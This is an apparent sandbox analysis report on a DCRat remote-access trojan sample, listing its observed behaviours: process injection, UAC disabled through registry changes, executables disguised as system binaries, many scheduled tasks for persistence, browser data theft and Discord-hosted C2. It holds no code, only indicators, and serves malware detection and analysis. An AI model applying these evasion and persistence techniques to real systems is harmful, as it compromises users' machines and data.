DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\explorer.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Reads user/profile data of web browsers

spyware stealer

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Default\Application Data\sihost.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Default\Application Data\sihost.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4052 set thread context of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Common Files\StartMenuExperienceHost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files\Windows Portable Devices\e1ef82546f0b02 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Common Files\DESIGNER\Idle.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Windows NT\sihost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files\Windows Portable Devices\SppExtComObj.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows NT\sihost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\StartMenuExperienceHost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Windows Portable Devices\SppExtComObj.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Common Files\Java\55b276f4edf653 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Common Files\Microsoft Shared\7a0fd90576e088 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files\Common Files\DESIGNER\Idle.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Common Files\55b276f4edf653 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\RCX6E0E.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\services.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\c5b4cb5e9653cc C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Common Files\Microsoft Shared\explorer.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\RCX7C33.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\services.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Common Files\DESIGNER\RCX7296.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Java\RCX61C0.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RCX69D5.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files\Common Files\DESIGNER\6ccacd8608530f C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Windows NT\66fc9ff0ee96c2 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Java\RCX61B0.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\RCX6E0F.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows NT\RCX79B1.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Windows Portable Devices\RCX8159.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\RCX7C34.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Windows Portable Devices\RCX8158.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Program Files (x86)\Common Files\Java\StartMenuExperienceHost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Java\StartMenuExperienceHost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\RCX6957.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\explorer.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files\Common Files\DESIGNER\RCX7297.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Program Files (x86)\Windows NT\RCX79B2.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\L2Schemas\RCX59AB.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\L2Schemas\RCX5A39.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\L2Schemas\RCX6BDB.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\Globalization\Sorting\RCX836D.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\Globalization\Sorting\conhost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\L2Schemas\TextInputHost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\GameBarPresenceWriter\spoolsv.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\Globalization\Sorting\conhost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\Globalization\Sorting\088424020bedd6 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\L2Schemas\29c1c3cc0f7685 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\GameBarPresenceWriter\f3b6ecef712a24 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\L2Schemas\unsecapp.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\L2Schemas\unsecapp.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\GameBarPresenceWriter\RCX751A.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\L2Schemas\TextInputHost.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File created C:\Windows\L2Schemas\22eafd247d37c3 C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\GameBarPresenceWriter\spoolsv.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\Globalization\Sorting\RCX836E.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\L2Schemas\RCX6BDA.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
File opened for modification C:\Windows\GameBarPresenceWriter\RCX7519.tmp C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Default\Application Data\sihost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4052 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2888 wrote to memory of 4760 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2888 wrote to memory of 4760 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2888 wrote to memory of 4760 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2888 wrote to memory of 2588 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\explorer.exe
PID 2888 wrote to memory of 2588 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Local\Temp\explorer.exe
PID 2588 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\SYSTEM32\attrib.exe
PID 2588 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\SYSTEM32\attrib.exe
PID 4760 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 4760 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 4760 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\SysWOW64\WScript.exe
PID 2588 wrote to memory of 2268 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 2268 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 3280 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 3280 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 3828 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 3828 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2588 wrote to memory of 748 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2588 wrote to memory of 748 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\System32\Wbem\wmic.exe
PID 2648 wrote to memory of 976 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2648 wrote to memory of 976 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 2648 wrote to memory of 976 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 976 wrote to memory of 1340 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe
PID 976 wrote to memory of 1340 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\discord\savesref.exe
PID 2588 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\SYSTEM32\cmd.exe
PID 2588 wrote to memory of 4716 N/A C:\Users\Admin\AppData\Local\Temp\explorer.exe C:\Windows\SYSTEM32\cmd.exe
PID 4716 wrote to memory of 4888 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 4716 wrote to memory of 4888 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 1340 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe C:\Windows\System32\cmd.exe
PID 1340 wrote to memory of 3184 N/A C:\Users\Admin\AppData\Roaming\discord\savesref.exe C:\Windows\System32\cmd.exe
PID 3184 wrote to memory of 2692 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 3184 wrote to memory of 2692 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 3184 wrote to memory of 3444 N/A C:\Windows\System32\cmd.exe C:\Users\Default\Application Data\sihost.exe
PID 3184 wrote to memory of 3444 N/A C:\Windows\System32\cmd.exe C:\Users\Default\Application Data\sihost.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Roaming\discord\savesref.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Default\Application Data\sihost.exe N/A
